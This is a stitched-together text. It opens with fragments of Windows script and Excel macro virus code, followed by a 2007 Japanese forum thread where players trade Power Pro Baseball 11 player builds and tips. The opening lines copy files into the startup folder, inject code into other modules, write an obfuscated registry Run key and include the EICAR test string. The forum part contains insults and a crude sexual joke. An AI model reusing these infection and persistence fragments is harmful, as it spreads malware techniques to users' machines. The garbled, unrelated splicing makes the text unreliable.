Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub
???????
5 :
名無しさん@お腹いっぱい。:2007/08/22(水) 13:29:03 ID:+K0A74qs
11と11決定版のサクセスの違いって、
決定版に栄光学園大学が出る以外に、
何かある?
6 :
名無しさん@お腹いっぱい。:2007/08/22(水) 15:47:01 ID:LRXqHTVc
経験点が超決は低い
パワ大限定
・リリース○が超決では確実に取れるイベントがある
・熊谷先輩の引退イベント追加
まぁ、ネット使えば調べることが出来るので、それくらいはしましょう
栄光学園はサクサクできるね
試合が紅白戦も含めて7試合くらいしかないし
キレ2つく機会も少ないので、フラストレーションがたまらないから自分にはあってるかも
帝王で作ったぜ!!
4A7A203A14A15A14B捕手
PH、キャッチャー◎、ブロック、サヨナラ、初球、ささやき
天才型だったからショボいかもしれんが俺の中では最高(^^)
でも名前が、あ。なんだよな・・・・
ペナントで使えば、登録名変えれるさ
あ。オシム
名前入力するのが面倒だったんだろ。
俺もどうでもいい名前付けて天才型でたことあったしな
>>12 名前付けんの面倒くさがって良くサクセスなんか出来るな?
不思議〜
> 俺もどうでもいい名前付けて天才型でたことあったしな
あるあるあるwww
15 :
名無しさん@お腹いっぱい。:2007/08/22(水) 19:25:36 ID:26CPLKhk
あ〜、3日前に買ってサクセスで全日本編出して
難易度よわいでペナントを4年やったとこのこの試合勝てば優勝ってとこで相手が最後のピッチャーを交代しようとして井川を登坂・・・・・
『FA権の約束に違反します』・・・・・
俺の3日間が・・・・・・・オワタ(^o^)/
↑翻訳をたのむ
うーん難しいな
この流れワロスww
敵チームが井川を登板させようとして拒否られて止まったってことか?
公式本に重川がPH持ちとあったから獲ったのに、実際見てみるとPHなかった。
獲って損した・・・
公式本は間違いが多すぎ。
趣味カードコンプで勝ち運入手とあるが、
実際は勝ち運+リリース○(超決)
じゃあ野手だとどうなのかとやってみたら、
チャンス5(チャンス+1かも)+固め打ち
固め打ちが習得できるとは思わなかった・・・
>>19 そうそう
どうやら敵チームがFAの先発起用で井川取ったらしく止まった
しかもペナント始めてから一回もセーブしてないのよ。
24 :
名無しさん@お腹いっぱい。:2007/08/23(木) 13:14:20 ID:xpUviB2G
ムービングは相手の打撃レベルをあげる不思議な特能ですね
25 :
名無しさん@お腹いっぱい。:2007/08/23(木) 13:42:01 ID:G57sW7u6
あおい先生>>>>>>>>>>その他サクセスキャラ
俺のサクセスチーム、
他のムービングボーラーは余裕で打たれるのに、
一人だけまったく打たれないムービングボーラーがいる
チンコゼブラMk−U
>>28 残念20点orz
響きは良いが意味が分かんねw
かっとなってやった
反省はしない
>>31 帝王サクセス4年目9月
153kBA総変12ジャイロ持ち
わんこお助けパワスポゲット
その週終わりでパワスポイベントで
ム ー ビ ン グ
'''''' '''''':::::::
. (●), 、(●)、.: +
,,ノ(、_, )ヽ、,, .::::
. `-=ニ=- ' .::::::: +
`ニニ´ .::::: +
>>32 (°д°;;)ヒィィィィーーーそれはw
テラカワイソm(_ _)m
超決かな?
>>33 ざんねんながら開幕だ
1回トラックにはねられたおかげでうまい具合に強くなったというのに・・・
>>34 禿げあり?
俺も開幕だ♪
失礼なんだが開幕でそれは普通に作れるレベルだスマンm(_ _)m
36 :
名無しさん@お腹いっぱい。:2007/08/24(金) 01:47:47 ID:fr/C/NPO
本当に失礼な奴だな。そんなこという必要ないだろ
一言多いとは正にこの事
まあレスを見りゃウザさが滲み出てるのが分かるがな。
何とは言わんがあと1週間の辛抱か。
>>38 (-_-#)何だ?テメェは?
1週間てぇのはテメェの余命か?w
死ねよ糞童貞ニート!
今日も暑くなるな。
41 :
名無しさん@お腹いっぱい。:2007/08/24(金) 05:53:56 ID:fr/C/NPO
そうだな。
>>39 >
>>38 > (-_-#)何だ?テメェは?
> 1週間てぇのはテメェの余命か?w
> 死ねよ糞童貞ニート!
なんだこの知能の低さは
子供みたいに意地はるなよ^ ^ (核爆)
(;^ω^)
>>39 残念20点orz
響きはいいけど意味分かんねw
あれ、どこかで聞いた気がするぞ?
パワフルやイレブンでも作ろうとしてみるが安定してる分
どうしても帝王に逃げてしまう
ペナントが10年て短くないか?
パワプロ11以外のパワプロのペナントも10年?
47 :
名無しさん@お腹いっぱい。:2007/08/24(金) 16:41:40 ID:fKJpBsh6
>>39 キモい。顔文字やたら使うし失礼だし。
お前が顔真っ赤なのは分かったから頭冷やして宿題しろ。
くやしいのうwwwwwwwwくやしいのうwwwwww
ピッチャーライナージャンピングキャッチしてそのまま一塁→スリーアウトでゲームオーバーってそんなのありかよ(。・_・。)
センス×のアベレージヒッター持ちなのに↓↓
サイド・アンダースローのDカーブが使えねえwww
ドロップは微妙に奇妙な変化をして面白い
50 :
甲子園:2007/08/24(金) 19:00:09 ID:V0aK8Rq2
>お客様がお使いの端末ではサービスをご利用いただけません。
>現在i-mode、ezwebのみの対応となっております。
>誠に申し訳ありませんが、ご理解下さいますようお願い申し上げます。
……(´・ω・`)
52 :
名無しさん@お腹いっぱい。:2007/08/25(土) 01:00:16 ID:LcO6If2I
神童のツーシームって、パワスポのムービングと違うの?
キャッチャーでセンス×ktkr!!
一発解除ktkr!!
守備タッグ連発ktkr!!
4年6月足爆弾発生。
4年7月足爆発。
オワタ\(^O^)/
54 :
名無しさん@お腹いっぱい。:2007/08/25(土) 02:02:26 ID:3RZJJDWz
今更ながら、ホームラン打ってOB選手を増やしてたら
ミスターの得能に「ささやきやぶり」があるのに気付いたwww
ノムさんもお手上げだ。
OB選手は、効果は同じでも特有の名称の特殊能力あるからいいよなー
サクセス選手でも可能にしてほしいぜ
56 :
名無しさん@お腹いっぱい。:2007/08/25(土) 13:31:10 ID:Th/ENJzj
サクセスであおい先生が楽しそうに電話してる相手って結局誰なの?
57 :
名無しさん@お腹いっぱい。:2007/08/25(土) 14:03:44 ID:UCt/Ss2M
俺に決まってるじゃん
パワプロ7、8、9のどれかの主人公かと思われる。
こんな感じでみずきも引退して13の主人公と電話するんだべな。
アニマル相手に矢部ソロホームランktkr
5-2とかで勝ってる時だけ頑張るなコイツ…。
注:このスレは、自分のことを書くだけで情報の交換が全く行われないスレです
故にここで質問を書いたり、情報交換を希望しても無意味です。
11で実在選手を作ってるんだけど、打撃・投球フォームを
どれにしたら良いか分からない事がよくある。
その手の質問は何処でするのが適当かな?
実在選手作成スレもあるにはあるけど、あそこは機能してない感じだからなあ…。
64 :
名無しさん@お腹いっぱい。:2007/08/25(土) 17:49:08 ID:YTOAhhjE
全日本編って試合で特殊能力取得できないんすかね?
それとも元々低確率だからまだ俺が経験してないだけで取得できるのか…
全日本と自分がキャプテンの場合は特殊能力取得できない
67 :
名無しさん@お腹いっぱい。:2007/08/25(土) 20:10:37 ID:kXUvLXdp
>>66 即レスサンクスです
基本的なことを聞いてしまったようで申し訳ない
継承選手作るのについいつもの癖でセーブしないを選んでだ俺アホス
157km コンBスタE
Hスラ1 Sスラ7 スクリュー3
キレ4 リリース○ ムービング他特能全12個
変化球で簡単に追い込むも、ストレートを投げれば真芯で完璧に引っ張りHR。
やけくそで全球ストレート、3者連続でHR、よくても打ち損じで外野フライ。
ほんとムービング最強だなorz
70 :
名無しさん@お腹いっぱい。:2007/08/25(土) 23:22:27 ID:LcO6If2I
ムービングはジャイロ取るためのリスクだと理解している。
巨人の福田を作るのに、簡単に四球はつけれたんだが
金刃を作りたいのにホームラン打ってもらえね〜
>>61 俺も答えるぞ。
ただ、ここでやるより例の作成所に行った方が良いかも試練
ムービングってそんなに駄目な変化球?
三種類変化球が覚えられるとして、
おまいらのベストは?
COM戦ではボコボコ、対人戦でもミート打ちされたら死ねるよ、ノビも悪いし
11じゃSスラ結構使えるね
12じゃもっと球速遅かった記憶があって避けてたんだけど
Hシンカーのキレもたまらん
イレブンでいい選手できたことない
エリリン彼女にしつつキャプテンになり練習もちゃんと投球系の練習するとか無理
みんなどうやってんの?
>>73 スライダーSスライダーVスライダーかなポイントちょっときつくなるが
>>75 4月の公園デートのおかげで
エリリンが彼女=キャプテンになれるだぜ
イレブンで投手作る時
エリリンの評価上げるために趣味はドライブにしてるんだけど
テニスのほうがいいかな?
俺はドライブだな。
エリリンの評価上げられるし、速球中心を取れるのが良い。
>>80 知っとると思うが恋の病は同じデートコースを3回選ぶと消えるぞ。評価は激下がりだが。
自分にとって過去最高のキャッチャーが出来た。
パワ大普通超決
3AACABE
チャンス4 AH 粘り 満塁 サヨナラ 初球○ 逆境○ 守備職人 捕手◎ ミート多用
禿ktkrと思ったらエリリンのお守りによって邪魔されて逆境○になったり。
守備Aにしようとしたらエラー回避がヤバくなって仕方なくB止まり。思い起こすと最後の能力上げで選択ミスした気もする。でも俺は満足だよ。
キャッチャー〇は仕方なく自力で取ったけど熊谷イベントでもらえる確率ってどんなもんなの?
83 :
75 80:2007/08/26(日) 04:36:57 ID:ySBpwF3p
とりあえず完成
超決で全国二連覇
右右153キロB155B112
スライダー4ドロップ4シンカー3
ピンチ対左打たれノビキレクイック回復が各4であと低め奪三振牽制打球反応
あと初球〇(笑)
なかなかいい感じにできたと思うアドバイスくれて感謝
>>81そうなの?ただ評価下がるのはきついな
85 :
名無しさん@お腹いっぱい。:2007/08/26(日) 12:16:48 ID:GnhL3qXb
≫73
自分は、カーブ5.シュート4.チェンジアップ1orナックル
カーブ5.シュート3.スクリュー3
スライダー4.カーブ3.スクリュー4
が手動ペナントで毎回安定して成績がいい。3つとも、ノビキレなしで最高速が140キロ半ばでも難易度パワフルで300奪三振はいける。
球種が猪狩守みたいにカーブ.スライダー.フォークや広島の高橋、サクセスキャラのゴメスと同じ方向の球種持ってると成績は安定して悪い。
>>84 ありがとう。
あまりにも連続で習得ミスってたからもっと低いかと思ってた。
決定版パワ大強豪で適当に継承選手を作ってたらなかなか強い投手が出来た
155km A180 A160
カーブ5 チェンジアップ3 Hスラ2
ジャイロ持ち得能9個
開幕版だとこのくらいは量産出来るの?
リリースなしなら量産可能。
ありならどんな開幕版選手も霞む
89 :
名無しさん@お腹いっぱい。:2007/08/26(日) 21:42:39 ID:MCxs49gh
それほどの強さは開幕でもかなり難しいな。
博士あり?
いや真帝王で普通に量産可能レベルだろ
変化球のポイントもHスラ以外大して掛かるのないし
開幕ならコントロールはもっと上を狙える
>>78 趣味はほぼドライブ一択。
デート費用900円で彼女評価が50も上がるデートなんて効率良すぎ。
ちょっとお金がかかるが速球中心も覚えられるし。
>>82 >禿ktkrと思ったらエリリンのお守りによって邪魔されて逆境○になったり
禿と交通事故は最初のセリフが違う。
この2つは似ているだけでまったく別のイベント。
>>87 決定でその能力でコンスタAは凄いな・・・
でも継承なら特能は減らしたほうがよかったのでは?
少なくとも俺には作れない…
ずっと開幕でやってるけど超決買おうかなあ
リリース○が魅力的だし
>>87 ダイジョーブなしでそれなら超決では驚異
94 :
名無しさん@お腹いっぱい。:2007/08/26(日) 22:52:58 ID:Jpg4sZF9
自慢かよ!
95 :
名無しさん@お腹いっぱい。:2007/08/27(月) 03:44:41 ID:DMUTmIGA
いやはや、ずいぶん低い自慢ですね
>>96 できる
経験則だが
サッカー部・雪村と2回以上、仲居・その他ザコプロ君とそれぞれ1回以上練習+公園デートならマイナスイベントが無い限りキャプテンは固い
エリリンは正月昼までに番号獲って1回ドライブしとけばバレンタインに告白される
あとは4月公園、5〜9月に1回ドライブ、10月野球観戦、12月ドライブでクリスマスに食事+アクセサリー
これで超人伝確定
クリアボーナス要らないなら後はほっといてOK
98 :
名無しさん@お腹いっぱい。:2007/08/27(月) 08:16:56 ID:7W9UzVlX
87で書き込みづらくなったけど俺も11決買ってから今までで一番のショートが出来た
…特殊能力が痘痕のあれで変な感じだが…
ショート
2ABAECC
アベ、広角、固め打ち、内野○、初球○
ヘッスラ、守備職、走塁4、ケガ4、体当たり
みんなが作る奴らにはかなり及ばないけど今のとこ一番の傑作
みんなが作ってるような選手が作れるのはいつになることやら(´・ω・`)
100 :
名無しさん@お腹いっぱい。:2007/08/27(月) 11:01:31 ID:A1QJ3I3S
>>90 にわかか?
開幕投手はイレブン>パワ強>帝王だろ!?
オマイ
>>87級をで量産?
真帝王で?
オマイ天才型だな!w
101 :
名無しさん@お腹いっぱい。:2007/08/27(月) 11:20:15 ID:7Xjga5us
開幕帝王なら
ショート
4ABAABB
AH 内野安 盗塁4 走塁4 流し 粘り
ぐらいなら量産できる
でも前友達のPS2の決定やったら
CAACCC
PHだけの選手になった自分はGCやから打てなかったのもあるがこれはひどい
皆凄いな・・・始めて1年経ってもルーキーのお守りが外れない俺^p^
全日本で
3CABCCCD
アベレージヒッター 送球4
これが最高なわけだが
ペナント意外に面白いな
巨人で始めたがまさにフルボッコするか
されるかの世界だw本塁打と被安打は断トツだぜ
>>97 サッカー部、雪村、仲居と練習してなくちゃできなかったのね
クリスマスプレゼントは服よりアクセサリーの方が高いの?
あと関係ないけどエリリンから交通安全のお守り貰ったその日に事故ったw
2AEAEAA 二/遊 の選手に萌える
栄光学園は良い選手作れないの?どうも何十、何百も繰り返すのに
他は試合がダルいんだけど・・とくに二年春とか消化試合過ぎて萎える
>>105 体格に恵まれないが俊敏さと器用さを併せ持った天才かな
3ABFBCE 外野(レフト) AH 威圧感 連打○
鈍足でも首位打者が狙える奴が最近お気に入り
>>107 今岡みたいな感じか。
ペナントは一部の新人の能力が桁外れだな。
確かペナントにも成長限界があったから、多分すぐに頭打ちになるんだろうけど。
>>106 うーん、俺も栄光がサクサクできて良かったけど、強さという点では微妙な気が・・
一回目のプレイでリリース○取れたので惑わされてしまった
ハッスル状態をどれだけ維持できるか、
それとも、普通状態をキープするべきか
>>87に便乗して自慢
開幕版で真帝王
154・180・167
Hスラ4 スロカ2 フォーク7
ピンチ ノビ キレ クイック ケガ 安定
ジャイロ 重 逃 尻
禿1回
変化量は13が限界だな・・・
イレブンなら14いけるか?
>>91 余計な能力が3個ついてしまった
>>93 禿なし初期能力かなり低めのセンス○サボりスタートだが、早い段階にビンゴでトルマリンとれたのがよかったのかも
>>100 真帝王は技術・変化共にかなり稼ぎやすい。
試合で活躍して筋力も稼げれば普通に量産可能レベルだろ。
安定度では帝王>>>イレブンだし
パワ強ではコントロールAは結構難しい
あと、日本語でおk
初めてのオールA記念柿子
センス×開幕版で真帝王
満 潮
AAAAAAA弾道3
パワー140で足肩守備鰓15
ヘッスラ 守備職人 初球 逆境 サヨナラHR男 走塁○
得能はヘッスラ&守備職が経験点で逆境がイベント、あと全部試合
敏速60程度余り
エリリン彼女にしたけどバット&偉人貰えず
一回戦負けが2回
そのうち一回は最後の試合で練習期間伸ばせなかったのが致命的
でした
エロイ名前だな
ちょっと勃った
間違えた
×真帝王
○帝王でした
名前の読み方は「みちしお」ねw
エロ澄さん
>>110 イレブンで作った軟投型(開幕)
スライダー4 カーブ7 シンカー4
144キロ スタコンA191A150
得能クイック2 低め○他3〜4個(ノビキレみたいな強いのではないけど忘れた)
まあオリスト使用でコントロールAなんだけど。
しかし真帝王で天才出現→紅白戦4-0&ベンチ&守備崩壊オワタ\(^o^)/→天才再びには泣いた
攻略本の記述ミスだかで威圧感もらえなかったけど・・・
なんでそんなに強い選手が作れるんだ…
自信を無くすよ
強い選手作りたいと願望してサクセスやると疲れるから最近は個性的な選手ばっかつくってる。
120 :
名無しさん@お腹いっぱい。:2007/08/27(月) 23:13:38 ID:ouiUcY/W
>>119 わかる
普段、選ばない変化球とか憶えさせてる
122 :
名無しさん@お腹いっぱい。:2007/08/27(月) 23:25:11 ID:W5CLNDlR
投手作る時って何の練習すればいいの?
ドラフト指名された後で何度やり直しても固まってしまう
何故なんだ
par使用したらそうなるとか
ピッチャーの登録残り枠が少ないとそうなるとか
むー、確かにPAR使ったが今まで問題なかったのにな・・・
>>105 2AEAEA 二一三って選手いるわ。
4FAAFA 一二三って打撃でも守備でもなんか中途半端な万能選手とかも。
4FFACB 外遊、特能22個で見た目以上に強いよ(でも代走要因だよ)って選手も。
で今いる最強のファーストが
右右
3FA(255)CGE チャンス5、左5など
ファーストって肩守備GEでもなんの問題もなく使えるな。
マイライフで本塁打でサイクル達成の場面。無死1塁。
…あの…監督。そんな記録のかかった選手にヒットエンドランとか言わないで下さい。
そんなパワプロが大好きです。
今栄光学院をやってるパワプロ初心者だが
なんか一緒に練習した選手みんながやる気の上がる能力がついた、、、
これはすごいのか
一緒に練習した仲間のやる気があがる=栄光学院のシステム
じゃ俺も自慢しちゃお。開幕パワ大強豪
禿げ1回あり
160kコンスタA
スラ5Sスラ3Vスラ2
ジャイロ 伸び 重い玉(要らね)回復 ケガ ポーカー 打たれ 牽制 クイック 対左
一様ウチで最強なんだが、どうでしゃろ?
131 :
名無しさん@お腹いっぱい。:2007/08/28(火) 05:18:28 ID:ucwbk673
159キロ コンスタA カーブ5 フォーク4 スライダー4 ジャイロ ノビ キレ 重いたま あと忘れた
宿題ちゃんとやれよ
自己満足うぜー
正直選手晒されてもリアクションに困る
よほどすごい選手なら別だが
135 :
名無しさん@お腹いっぱい。:2007/08/28(火) 12:47:15 ID:KuZNC1Ja
投手作る
136 :
名無しさん@お腹いっぱい。:2007/08/28(火) 16:58:24 ID:ucwbk673
一塁手作る
あと3日
いい選手が出来ている時の爆弾の発生率と爆発率は異常。
140 :
名無しさん@お腹いっぱい。:2007/08/28(火) 19:55:02 ID:R5tzkwqA
フォーク地雷だと思ってたけど、けっこう覚えさせている人いるのね。
話変わって、OB選手混ぜてペナントしてるけど巨人の一発構成が強すぎる。
5者連続HRって。
威圧感持ちのOBの多さは異常
観戦の場合、パワーが異常な王、ブライアントあたりが怖い。
>>140 全員同じ変化球じゃつまんないし。
フォークもポイント安いし、そこまで悪くはないと思う。
尻上がり効果発動してる時のフォークは結構強力だぜ
144 :
名無しさん@お腹いっぱい。:2007/08/29(水) 03:07:47 ID:O1P3vwtV
尻上がりが発動するまでに炎上する漏れorz
フォークってコントロールかなりないと変化量バラバラじゃない?
変化量7コンBでミット動かさずに投球するとストライクゾーン入ったり入らなかったりするけど、コンAの場合はコンスタントにストライクゾーンギリギリに決まるし。
高低で変化量は変わるからコンBによる微妙なズレでそういうことになるんだろうな
俺はフォークは普通に使えると思うがシンカーは狙われやすいと思う。
それを逆手にとってシンカー覚えさせることが多いけどw
147 :
名無しさん@お腹いっぱい。:2007/08/29(水) 08:10:54 ID:gZ+IXSLf
怪我発生率と爆弾爆発は別ベクトル
爆発って怪我率とは別じゃね??
これは恥ずかしい
151 :
名無しさん@お腹いっぱい。:2007/08/29(水) 15:32:27 ID:x7WYRa3T
やっとチームできた
1 遊 D4D85A15C10C10D8
内野安打
2 右 D4C100B12C11E7E6
流し 粘り
3 一 B6A157E6C10F4E6
AH チャンス5
4 二 E3A140B12C10E7D8
PH チャンス4
5 右 C5A140C10A15E6E6
PH 広角
6 捕 C5A140D8B13B12B12
チャンス4 サヨナラ PH
7 中 C5E65B12B13C10D9
送球
8 三 F2B135F4B12E6E6
広角 三振
特殊能力はみんなあと、何個かある
目的は強すぎないチームやねんけどどうかな?
被れ関西弁はやめようか
本物の関西人でも共通語を使おうな
強すぎないならいいんじゃねそのチーム
で、ライトが二人いるのは仕様なのか
そのメンバーだったら俺なら
1遊
2中
3右(5番だった方)
4捕
5二
6一
7三
8右(2番だった方)
こう組む
155 :
名無しさん@お腹いっぱい。:2007/08/29(水) 16:01:00 ID:x7WYRa3T
156 :
名無しさん@お腹いっぱい。:2007/08/29(水) 16:02:00 ID:x7WYRa3T
157 :
名無しさん@お腹いっぱい。:2007/08/29(水) 16:03:49 ID:x7WYRa3T
連投ゴメ
>>154 なんか4番セカンドにしてみたかってん
お前が強すぎないと思うんならそれでいいだろうけど俺ならもうちょい控えめにする
159 :
名無しさん@お腹いっぱい。:2007/08/29(水) 16:39:17 ID:x7WYRa3T
>>158 たしかに自分でも強いと思ったわぁ
とくにキャッチャー
そのぶん投手弱くしようと思ってるけど、どんなかんじがいい?
俺のオーダー
2DEBECD二
1EEBBAC遊
3CACBAC捕
3DBECDE三
3DBEEEC一
2ECCCCC左
2DEADCE中
2FCCBCD右
11は打つのが簡単だからこれくらいじゃまだ強すぎるな
ミット移動無し+打撃強い+他パワフルくらいでやると丁度いい
まぁパワプロだから人によるだろうけど
パワ大普通のチームメイトでミートA他オールBという捕手がいた。
正直自分の選手よりこいつをプロ入りさせてやりたい。
>>160 渋くて惚れたわw
オールG〜Aでチーム作ったら友達に笑われたよ。
能力がいいほど特殊能力を少なくなる使用にしたら能力低い奴も活躍するからおもろかった。
164 :
名無しさん@お腹いっぱい。:2007/08/29(水) 21:25:33 ID:oYtKKz3f
COMの打撃だけは強いで抑えないと、パカパカホームラン打たれてストレス溜まる
サクセスモードの所に「入学志望者名簿」ってありますよね?あれって
途中であきらめた選手&ドラフトに選ばれなかった選手も載るんですね・・・。
3回目でようやくドラフトに指名されて作成できた選手がいるんですが、
作成できなかった1回目と2回目のキャラも名簿に載ってます。3人とも
同じ名前で名簿に登録されてしまってるので不自然です。
いらない入学志望者を消す方法は無いのでしょうか?データごと消そうかと悩んでます
たまにサクセス中にランダムで置き土産置いて消えたりするけど
あまりないのでデータ毎消すのもありかも
運任せだけど・・・
サクセス中に出てきてない継承選手が引っ越す
イベントが発生すると名簿から消えて二度と出て来ない
ただし強いのも消えたりする上めったに起きない
まだそんなに選手作ってないならパスでも取って消したほうが早い
被った・・・失礼
第二野球部の紅白戦で友沢ベンチ涙目www
俺のオーダー
二 右両 2DCBDA バント○ HBH 積極盗塁
捕 右両 2CDCBB キャッチャー○ ブロック○
左 左左 2BCEDC AH 満塁H
三 右両 3FADCC PH サヨナラH 強振多用
一 左左 4EBEEC チャンス5
遊 右右 3CBCBA
中 左左 2DECBA チャンス4 粘り打ち ミート多用
右 右右 4FBFBB 粘り打ち 怪我4 LBH サブポジ三
全員本職は投手だけど
>>169 アレンジのオーダー設定ではどうしてるんだ?
投手は打順しか決められないはずだが。
ペナントで選手毎に信頼度みたいなの設定できないかな
主力がベンチとかありえないだろ
あと対左オーダー設定あればなあ
>>170 アレンジで設定できないからオーペナ等は不可能orz
あと投手が先発P一人しか使えないとか問題点が多い。
でもこのくらいの能力がリアルで好き。
13でやったことあるけど全員投手だと
結構面白いんだよな
1イニング交代で守備位置変えて
相手打線を翻弄するって感じで面白かった
>>173 二刀流投手に興味のない方でしたか。
まあ人それぞれだろ。
>>175 スタメン全部ニ刀流で埋め尽くすのは二刀流への興味とは別問題だろ
>>176 あれ、二刀流投手8人作ったから
>>160の真似してオーダー書いただけなのに・・・
別に普段からこんなオーダー組んでるわけじゃないよ、スマン。
普段は4番パワー200とかだけど、そんなの晒してもつまんないかなーと思って。
全員投手でサブポジ付けない(ポイント足りなくて取れない)で、オーダー組んだりしてるよ
自己満だけど、結構楽しんでる
179 :
名無しさん@お腹いっぱい。:2007/08/30(木) 01:21:28 ID:kvpiXopE
あおい先生だっこー
182 :
あおい☆:2007/08/30(木) 06:26:11 ID:ti8IVokN
>>180 悪い子はおしりペンペンですぅ♪( ^ @ ^)∠☆PAN!
『何という失態!!
何という愚行!!
あなた方は帝王の重さが分かっていない
戻り次第グラウンドに集まりなさい
ペナルティーを与えます』
恐っ
監督はツンデレ
ピッチャー作る時左投左打だと初期から変化球持ちが出やすくなったりする?
ナックルボーラー作りたいのに5回連続で出てきて鬱陶しい
真帝王のイベント2回起きたんだけどそのうち2回とも試合に敗北とか俺下手糞すぎだろ・・
犬なんかストレート狙いでミート打ちすれば面白いように点取れるけどな
コツは低めはひっかけやすいので捨てて高めをセンターに打ち返すのを心掛ける事と
ランナーは常に得点圏に置く事(ゲッツーへの心理的不安を解消するため)
以上を実践できれば3点ビハインドくらいなら怖くはない
ただ、紅白戦は稀に防衛モード(俺命名)が発動するので要注意
防衛モードになると犬は変化球を多投してくるし、江久瀬は強振でポンポンスタンドに放りこんでくる
防衛モードの発動条件は不明だが、強い選手の時ほど発動している気がする
防衛モードっていうのか・・・俺は覚醒したとか言ってた。
猫は肩が弱いから走力Dあれば余裕でおk
盗塁はオーバーリードしててけん制されても二塁にいくそぶりを見せて即戻ればさされないよ。
紅白戦だと友沢は意外と地味なんだよな。
猫がロックオンでホームラン→一発という流れがやたら起こる。
帝王のペナルティって連帯責任すぎて監督の主義と矛盾してるよな。
投手で9回無失点で交代(0対0)→延長で負け
の場合とか先発投手に責任はないだろと。
点取らなかった野手が足引っ張っただけじゃないか。
先発のリズムが悪いから野手の攻撃のリズムも悪いねん by岡田
真帝王に勝てないのでルーキーのお守り付けて挑みます
サーセンww
固め打ち取りたくてパワ大普通でやっているが、あおいとの勝負で3連敗・・・
手が震えていつもの操作ができない。ここまで自分がプレッシャーに弱いとは思わなんだ。
194 :
名無しさん@お腹いっぱい。:2007/08/30(木) 17:40:05 ID:ZgcVmFwP
あおい先生と夜の授業を受けたいぜ
今日偶然ミート(以下ミ)3 P226と、ミ3 P211の選手を見つけたんだが、
調べたら初めの能力がふたりとも、ミ1 P93と106だった。
どういう育て方したらこんなに成長するんだよCPU。
訂正
ミート1 P109 →3 226
1 93 →3 211
あおい先生は毎回チャンスしかくれなくて困る
変化球練習するたびに阿畑が出てきて、オリ変改良するってでてくるけど、これはバグ?
198の
オリ変改良する、をオリ変改良するか?にして読んでくれ
今日あおいから左本塁打打ったが何ももらえなかった 筋力と技術 精神が上がっただけだった
ホームラン打っちゃった・・・
ホムーランボール!
>>194 夜の授業イベントが起こると、精神ポイント+100固め打ちと粘り打ちゲット
その代わり搾り取られた精液を養う為に次の月行動不能になるので注意
ランダムで妊娠イベントが起きるとスタッフロールとムービーが流れて真END→ゲームクリア
204 :
名無しさん@お腹いっぱい。:2007/08/30(木) 21:28:59 ID:ZgcVmFwP
あおい先生だから初球○も入手できそう
寸前×ゲフンゲフン
一発とか回復4とかささやき戦術とか
体力0、やる気マックス、不眠症、弾道4とか
>>193 固め打ちは決定版ならカードコンプリートしたほうが確実。
10回趣味やってもカードコンプ出来ず覚えられないこともあるが。
209 :
名無しさん@お腹いっぱい。:2007/08/30(木) 22:56:16 ID:zPsplD6g
質問なんだけどGCのパワプロ11ってパワポケ6とパスワードの相互性ありますか?
遊園地が出ない…。
積極盗塁が取れないよorz
パワー180以上でエリリンが彼女になってない状況で
遊園地のラブラブ観覧車乗って「この高さのホームラン打ちたいな」でサヨナラホームラン取れるよな
214 :
名無しさん@お腹いっぱい。:2007/08/31(金) 03:38:17 ID:/NeTTaCa
イレブンでいい投手できたので記念カキコ。
球速146k コンスタBA
スライダー(オリ変)2
Sスライダー3
Vスライダー5
ノビ、ジャイロ、キレ、対ピンチ、打たれ強さ、安定感、ケガ、回復、重い球、逃げ球、尻上がり、闘志、バント。
キャプテンには成れなかったし、ジャンケンには負けまくったが初の全国大会三連覇&見返りが効いた!
それにしてもスライダー三種類は強すぎw。オートで20奪三振を三回達成した。オーペナでも435奪三振w
江夏越え!
調子にのってしまって長文すまない。
215 :
名無しさん@お腹いっぱい。:2007/08/31(金) 03:49:09 ID:B3ft+qzm
216 :
名無しさん@お腹いっぱい。:2007/08/31(金) 04:03:59 ID:tTDk7KjA
俺の作った投手はペナントで7年連続450奪三振越えしたけど何か。
217 :
名無し:2007/08/31(金) 04:04:17 ID:DNxIP3Q3
本人がこの程度で調子にのるほど満足してるなら別にいいんじゃない?
>>207 パワプロ5にあったな…遊びに来たチームメイトとビデオを鑑賞して「スッゲ───!!!!!!!」でやる気MAX体力全消費ってイベントが。
ついでにかなり初期のパワプロでは二股かけれたんだよなぁ…。で、バレてエライ目に遭ったり。
更には5で猪狩に彼女盗られたり。
アレ?確か野球ゲームだよな、パワプロって。
恋愛ADV作ってる会社だからしゃ〜ない
パワプロ11のBGMが好き。
オープニング最高。
友情タッグが結ばれる前後の曲も好き。オープニングをアレンジしただけだけど。
全日本編でオリ変化球イベント起こせない俺なみだ目www
>>220 OPは好きだが、友情タッグは勘弁。
なるべく見ない、聞かないようにしてL2と○×を連打する。
だって恥ずかしいし。特に全日本が。
>>211 60 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2007/08/25(土) 15:40:39 ID:PYuCT8uu
注:このスレは、自分のことを書くだけで情報の交換が全く行われないスレです
故にここで質問を書いたり、情報交換を希望しても無意味です。
>214
球速があと10k足らない
225 :
名無しさん@お腹いっぱい。:2007/08/31(金) 14:44:51 ID:B3ft+qzm
>>223 そんなことやるくらいならお前が答えてやればいいじゃないか。
ちなみに俺は知らんから答える事が出来ない。
>>224 ほんのミジンコほどの一瞬『マッハ10かよw』とか思った
>>221 全日本はオリ変改造1回しかできない。
というか一ノ瀬が来たら怪我率99%特攻でとっとと大怪我させてクリア人数増やしてる。
いくら弱いとはいえ、全日本やるからにはライジングキャノン狙いたいし。
てかライジングキャノン、意外と速いな(ライジングショットはゴミだけど)
シンカーは読みやすいって見たけど何で読みやすいの?
